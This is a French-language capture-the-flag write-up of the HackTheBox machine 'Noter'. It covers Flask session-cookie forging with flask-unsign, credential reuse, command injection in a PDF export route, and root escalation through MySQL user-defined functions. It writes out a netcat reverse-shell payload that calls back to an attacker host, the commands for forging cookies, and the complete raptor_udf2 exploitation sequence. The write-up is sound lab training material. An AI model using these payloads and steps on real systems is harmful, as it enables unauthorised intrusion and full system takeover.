HTB - Noter

Noter

Noter est une box de niveau Moyen sortie sur HackTheBox le 7 mai 2022 et retirée des machines “actives” le 3 septembre 2022. Il s’agit d’un environnement Web Flask (Python) hébergé sur un OS Linux.

Cet article retrace uniquement les étapes nécessaires à la compromission de la Machine Virtuelle et ne présente volontairement pas la méthodologie complète utilisée.

Nmap

Tout d’abord, le scan Nmap nous donne 3 ports ouverts :

21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Noter
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10

Les ports FTP et SSH ne nous donnent rien d’intéressant pour le moment (pas de vulnérabilités connues sur ces versions, pas de login anonymous etc), on cherche donc sur le serveur web.

Web

L’interface web nous propose de nous connecter ou de créer un compte pour accéder à une interface de gestion de notes.

/noter/Noter_index.png

La première chose à remarquer ici est qu’il est possible d’énumérer les comptes existant via le message d’erreur à la connexion. En effet pour un compte existant le message est “Invalid login”, sinon “Invalid Credentials”.

On se crée donc un compte et on remarque qu’en plus de la gestion de notes, il y a une page “VIP” qui nous est inaccessible pour le moment. De plus la fonctionnalité permettant d’upgrade notre compte n’est “actuellement pas disponible”.

/noter/Noter_app.png

Premier réflexe en connaissant le backend -> Tentative de SSTI dans les notes, sans succès.

Deuxième possibilité -> Regarder le cookie de session.

Connexion VIP

Avec l’outil jwt.io, on voit que le cookie contient les variables logged_in et username. Ce qui est très intéressant ici car on peut énumérer les utilisateurs existants avec le message d’erreur présent à la connexion !

On va donc essayer de trouver un compte avec des privilèges VIP et forger un cookie de session.

/noter/Noter_token.png

Tout d’abord, pour vérifier la faisabilité de cette hypothèse, on va utiliser l’outil “flask-unsign” avec la wordlist rockyou pour bruteforcer le secret du cookie :

flask-unsign --wordlist /usr/share/rockyou.txt --unsign --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiZmxvY3ppaSJ9.YxR_9w.DMsVb1-YSTRqVFLC3nFiRqOwI4Y' --no-literal-eval

Ce qui nous donne :

/noter/Noter_flask_unsign.png

On a donc trouvé le secret utilisé pour générer les cookies, secret123.

Maintenant, il faut trouver un compte utilisateur existant sur l’application. Une rapide énumération avec l’Intruder Burp et une wordlist de noms nous indique la présence de l’utilisateur blue.

On a ce qu’il faut pour se connecter en tant que blue, générons le cookie associé :

flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret 'secret123'

Qui nous donne le cookie à remplacer : eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.YxSGMA.BwoOhPrxwyGHnlpYozFCj44lKf0.

Récupération des notes de blue

Nous voilà connectés en tant que blue qui a un accès VIP à l’application.

/noter/Noter_blue.png

On voit 2 fonctionnalités supplémentaires sur l’application, l’import et l’export de notes. L’import prend en paramètre une URL avec un fichier “.md”, et l’export génère un PDF à partir d’une note enregistrée ou d’une URL également. Nous reviendrons sur ces fonctionnalités plus tard.

2 notes sont disponibles pour blue :

/noter/Noter_blue_notes.png

La note “Before the weekend” contient 2 instructions :

  • Delete the password note
  • Ask the admin team to change the password

La note “Noter Premium Membership” est un message de l’utilisateur ftp_admin qui indique que le statut VIP donne accès au service FTP de la machine, avec les identifiants blue:blue@Noter! :

/noter/Noter_blue_noteftp.png

Accès FTP

On se connecte donc au FTP avec les identifiants fournis, nous avons accès à 2 choses :

  • Un dossier files vide dans lequel nous pouvons apparemment stocker des fichiers comme l’incite l’accès VIP.
  • Un fichier policy.pdf

Le fichier policy.pdf contient la politique de mots de passe de Noter :

/noter/Noter_policy.png

La partie intéressante ici est la politique de création de mot de passe pour un nouvel utilisateur, qui indique que celui-ci est de la forme username@site_name!.

Le mot de passe de blue était bien blue@Noter!, et nous avons remarqué précédemment la présence de l’utilisateur ftp_admin.

On essaye de se connecter au FTP en tant que ftp_admin avec le mot de passe ftp_admin@Noter! : ça fonctionne !

Analyse de sauvegardes

L’utilisateur ftp_admin a accès à 2 fichiers de sauvegarde sur le serveur FTP :

/noter/Noter_backup.png

Ces sauvegardes datent respectivement du 1er novembre et 1er décembre 2021.

La commande diff sur les dossiers extraits des archives montre 2 choses :

  • Tout d’abord, les identifiants de la base de données inscrits en dur ont été remplacés par des variables :

/noter/Noter_mysqlpass.png

On note donc root:Nildogg36, qui pourra nous servir plus tard.

  • Ensuite, depuis décembre l’application possède 4 routes en plus :
    • export_note
    • export_note_local
    • export_note_remote
    • import_note

En analysant notamment la route export_note_remote, on se rend compte qu’une injection de code est possible lors de l’export de la note :

/noter/Noter_export.png

A la ligne 308, le contenu de la note est passé en paramètre à une commande qui appelle un script externe pour générer un pdf.

Ce contenu n’est pas filtré et une payload de ce type permet donc d’injecter une commande : '; CMD;#.

Reverse shell

Pour exploiter l’injection de commande, on prépare donc un fichier MarkDown (.md) avec le contenu suivant (reverse shell) :

'; rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f;#

On prépare un serveur web en écoute pour mettre à disposition ce fichier :

python3 -m http.server

On lance le listener qui recevra la connexion :

nc -lvp 4444

Puis on va export la note de notre serveur Web, dont le contenu sera exécuté et qui nous donnera un accès au serveur :

/noter/Noter_payload.png

On clique sur “Export”, et on récupère notre reverse shell en tant que svc :

/noter/Noter_whoami.png

On peut collecter le flag de l’utilisateur dans /home/svc/user.txt.

Root

Les outils classiques d’énumération pour l’escalade de privilèges ne donnent rien de concluant.

On se rappelle alors des identifiants récupérés dans la sauvegarde du mois de novembre, à savoir les identifiants de la base de données MySQL : root:Nildogg36.

De plus, le service MySQL tourne en tant que root sur le système.

Ces identifiants fonctionnent toujours et nous pouvons accéder à la base de données du serveur. Cependant nous ne trouvons pas davantage d’informations intéressantes, et le cassage du hash du mot de passe de blue ne donne rien.

Après quelques recherches sur ce qu’il est possible de faire en tant qu’utilisateur root d’une base de données MySQL tournant également sous root, on tombe sur cet article :

https://redteamnation.com/mysql-user-defined-functions/

L’idée est d’utiliser les UDF (User Defined Functions) pour exécuter du code en tant que la base de données (tournant sous root), à l’aide d’une bibliothèque spécifique (https://www.exploit-db.com/exploits/1518).

On suit donc les étapes indiquées dans l’article, à savoir :

  • Télécharger la bibliothèque qui permettra d’exécuter des commandes dans le contexte d’une requête SQL (depuis la machine attaquant) :
wget http://0xdeadbeef.info/exploits/raptor_udf2.c
  • La compiler :
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
  • La transférer sur la machine Noter (On se retrouve donc avec un fichier raptor_udf2.so, ici placé dans /tmp)
  • Se connecter à la base de données en tant que root avec le mot de passe Nildogg36 :
mysql -u root -p
  • Sélectionner la base de données mysql :
use mysql;
  • Créer une table temporaire :
create table foo(line blob);
  • Y charger la bibliothèque raptor :
insert into foo values(load_file('/tmp/raptor_udf2.so'));
  • Trouver l’emplacement des plugins (ici /usr/lib/x86_64-linux-gnu/mariadb19/plugin/) :
show variables like '%plugin%';
  • Y insérer la bibliothèque raptor :
select * from foo into dumpfile "/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so";
  • Créer la fonction pour exécuter des commandes :
create function do_system returns integer soname 'raptor_udf2.so';
  • Vérifier la présence de la fonction :
select * from mysql.func;
  • Exécuter des commandes en tant que root, pour lire les fichiers ou obtenir un accès via un autre reverse shell :
select do_system('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f');

/noter/Noter_root.png

Et nous voilà root ! :)

Plus qu’à récupérer le flag dans /root/root.txt.